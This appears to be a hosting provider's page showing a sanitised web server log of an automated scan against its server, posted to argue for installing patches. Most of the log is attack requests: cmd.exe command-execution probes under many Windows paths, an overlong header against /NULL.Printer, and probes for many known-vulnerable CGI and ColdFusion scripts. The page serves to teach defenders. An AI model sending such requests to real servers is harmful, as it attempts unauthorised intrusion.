|
The following log shows an actual hacking attempt against one of our servers.
Over 680 attempts were made in just 154 seconds. Information has been changed
to protect the confidentiality of all parties involved. This hacker is running
'script kiddie' tools that allow anyone with the ability to run a program
and provide a web site name to attempt a hack. Note that only the hacking
attempts are shown in this log. All other data has been removed.
The hacker has not been successful but it illustrates why patches must always be installed. This attempt searches for known breaches in almost every possible combination of popular operating systems, applications, perl scripts, and servers. 2008-07-29 09:06:28 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /invalidfilename.htm - 404 2 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:06:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /invalidfilename.cgi - 404 2 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:06:32 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /invalidfilename.htm - 404 2 3396 62 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:06:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /invalidfilename.cgi - 404 2 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:06:33 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /invalidfilename.ida - 200 0 327 37 0 HTTP/1.0 - - - - 2008-07-29 09:06:34 195.241.245.210 - W3SVC199 OURSERVERNAME our.ser.ver.ip 443 GET /ccna3info2.asp - 200 0 11026 391 0 HTTP/1.0 www.companyname.com Mozilla/4.08+[en]+(Win98;+I+;Nav) ASPSESSIONIDQGQQGUAO=NFEINMHAPJMKIEBPPOBNLHPH https://www.companyname.com/ccna3info1.asp 2008-07-29 09:06:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /invalidfilename.idc - 404 0 254 37 0 HTTP/1.0 - - - - 2008-07-29 09:06:34 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /invalidfilename.idq - 200 0 327 37 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 70 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt351/system32/cmd.exe /c+dir+c:\ 404 3 3396 73 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /wint/system32/cmd.exe /c+dir+c:\ 404 3 3396 69 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /windows/system32/cmd.exe /c+dir+c:\ 404 3 3396 72 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt35/system32/cmd.exe /c+dir+c:\ 404 3 3396 72 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt.sbs/system32/cmd.exe /c+dir+c:\ 404 3 3396 74 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 90 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt35/system32/cmd.exe /c+dir+c:\ 404 3 3396 92 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt351/system32/cmd.exe /c+dir+c:\ 404 3 3396 93 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /wint/system32/cmd.exe /c+dir+c:\ 404 3 3396 89 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /windows/system32/cmd.exe /c+dir+c:\ 404 3 3396 92 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt.sbs/system32/cmd.exe /c+dir+c:\ 404 3 3396 94 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 93 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt35/system32/cmd.exe /c+dir+c:\ 404 3 3396 95 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt351/system32/cmd.exe /c+dir+c:\ 404 3 3396 96 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /wint/system32/cmd.exe /c+dir+c:\ 404 3 3396 92 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /windows/system32/cmd.exe /c+dir+c:\ 404 3 3396 95 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt.sbs/system32/cmd.exe /c+dir+c:\ 404 3 3396 97 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 93 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt35/system32/cmd.exe /c+dir+c:\ 404 3 3396 95 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt351/system32/cmd.exe /c+dir+c:\ 404 3 3396 96 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /wint/system32/cmd.exe /c+dir+c:\ 404 3 3396 92 10 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /windows/system32/cmd.exe /c+dir+c:\ 404 3 3396 95 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt.sbs/system32/cmd.exe /c+dir+c:\ 404 3 3396 97 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 92 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt35/system32/cmd.exe /c+dir+c:\ 404 3 3396 94 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt351/system32/cmd.exe /c+dir+c:\ 404 3 3396 95 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /windows/system32/cmd.exe /c+dir+c:\ 404 3 3396 94 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /wint/system32/cmd.exe /c+dir+c:\ 404 3 3396 91 10 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 92 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt35/system32/cmd.exe /c+dir+c:\ 404 3 3396 94 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt351/system32/cmd.exe /c+dir+c:\ 404 3 3396 95 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /wint/system32/cmd.exe /c+dir+c:\ 404 3 3396 91 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /windows/system32/cmd.exe /c+dir+c:\ 404 3 3396 94 10 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt.sbs/system32/cmd.exe /c+dir+c:\ 404 3 3396 96 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 94 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt351/system32/cmd.exe /c+dir+c:\ 404 3 3396 97 10 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /wint/system32/cmd.exe /c+dir+c:\ 404 3 3396 93 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt.sbs/system32/cmd.exe /c+dir+c:\ 404 3 3396 96 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt35/system32/cmd.exe /c+dir+c:\ 404 3 3396 96 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /windows/system32/cmd.exe /c+dir+c:\ 404 3 3396 96 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt.sbs/system32/cmd.exe /c+dir+c:\ 404 3 3396 98 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt/system32/cmd.exe /c+dir+c:\ 404 3 3396 84 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt35/system32/cmd.exe /c+dir+c:\ 404 3 3396 86 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt351/system32/cmd.exe /c+dir+c:\ 404 3 3396 87 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /windows/system32/cmd.exe /c+dir+c:\ 404 3 3396 86 0 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /winnt.sbs/system32/cmd.exe /c+dir+c:\ 404 3 3396 88 10 HTTP/1.0 - - - - 2008-07-29 09:06:36 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /wint/system32/cmd.exe /c+dir+c:\ 404 3 3396 83 0 HTTP/1.0 - - - - 2008-07-29 09:06:46 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /NULL.Printer - 501 0 0 550 0 HTTP/1.0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/a1stats/a1disp.cgi - 404 3 3396 44 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ad.cgi - 404 3 3396 32 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/s.cgi - 404 3 3396 31 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /ext.dll - 404 2 3396 25 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/websync.exe - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ezshopper3/loadpage.cgi - 404 3 3396 49 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/auktion.pl - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /technote/main.cgi - 404 3 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/mmstdod.cgi - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cached_feed.cgi - 404 3 3396 41 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/newsdesk.cgi - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /technote/print.cgi - 404 3 3396 36 10 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/register.cgi - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /setpasswd.cgi - 404 2 3396 31 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/simplestmail.cgi - 404 3 3396 42 10 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/statusconfig.pl - 404 3 3396 41 10 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webdriver - 404 3 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cgiforum.pl - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/exampleapp/publish/admin/application.cfm - 404 3 3396 65 0 HTTP/1.0- - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/simplestguest.cgi - 404 3 3396 43 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/expeval/sendmail.cfm - 404 3 3396 45 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/search.cgi - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/guestbook.cgi - 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/faxsurvey - 404 3 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/finger - 404 3 3396 32 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/gbook.cgi - 404 3 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/htmlscript - 404 3 3396 36 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/handler - 404 3 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/htsearch - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/hsx.cgi - 404 3 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/imagemap.exe - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfide/Administrator/startstop.html - 404 3 3396 52 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/jj - 404 3 3396 28 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/man.sh - 404 3 3396 32 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /mlog.html - 404 2 3396 27 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/multihtml.pl - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /mylog.html - 404 2 3396 28 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/nph-test-cgi - 404 3 3396 38 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/php.cgi - 404 3 3396 33 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/quikstore.cgi - 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/pfdispaly.cgi - 404 3 3396 39 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/Count.cgi - 404 3 3396 35 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /search97.vts - 404 2 3396 30 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/sendtemp.pl - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/phf - 404 3 3396 29 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/shop.cgi - 404 3 3396 34 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/shopper.cgi - 404 3 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/test-cgi - 404 3 3396 34 10 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/textcounter.pl - 404 3 3396 40 0 HTTP/1.0 - - - - 2008-07-29 09:07:16 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-winuploader.exe - 404 2 3396 37 0 HTTP/1.0 - - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ad.cgi - 404 3 3396 57 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /ext.dll - 404 2 3396 50 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/s.cgi - 404 3 3396 56 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/websync.exe - 404 3 3396 62 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/ezshopper3/loadpage.cgi - 404 3 3396 74 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/auktion.pl - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /technote/main.cgi - 404 3 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/mmstdod.cgi - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/newsdesk.cgi - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /technote/print.cgi - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/register.cgi - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /setpasswd.cgi - 404 2 3396 56 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/statusconfig.pl - 404 3 3396 66 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/simplestmail.cgi - 404 3 3396 67 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/webdriver - 404 3 3396 60 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/cgiforum.pl - 404 3 3396 62 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/exampleapp/publish/admin/application.cfm - 404 3 3396 90 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/simplestguest.cgi - 404 3 3396 68 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfdocs/expeval/sendmail.cfm - 404 3 3396 70 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/search.cgi - 404 3 3396 61 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/guestbook.cgi - 404 3 3396 64 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/faxsurvey - 404 3 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/finger - 404 3 3396 57 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/gbook.cgi - 404 3 3396 60 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/htmlscript - 404 3 3396 61 10 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/handler - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/htsearch - 404 3 3396 59 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/hsx.cgi - 404 3 3396 58 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/imagemap.exe - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cfide/Administrator/startstop.html - 404 3 3396 77 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/man.sh - 404 3 3396 57 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/jj - 404 3 3396 53 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /mlog.html - 404 2 3396 52 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 OURSERVERNAME our.ser.ver.ip 80 GET /cgi-bin/multihtml.pl - 404 3 3396 63 0 HTTP/1.0 www.companyname.com - - - 2008-07-29 09:07:18 ha.ck.er.ip - W3SVC199 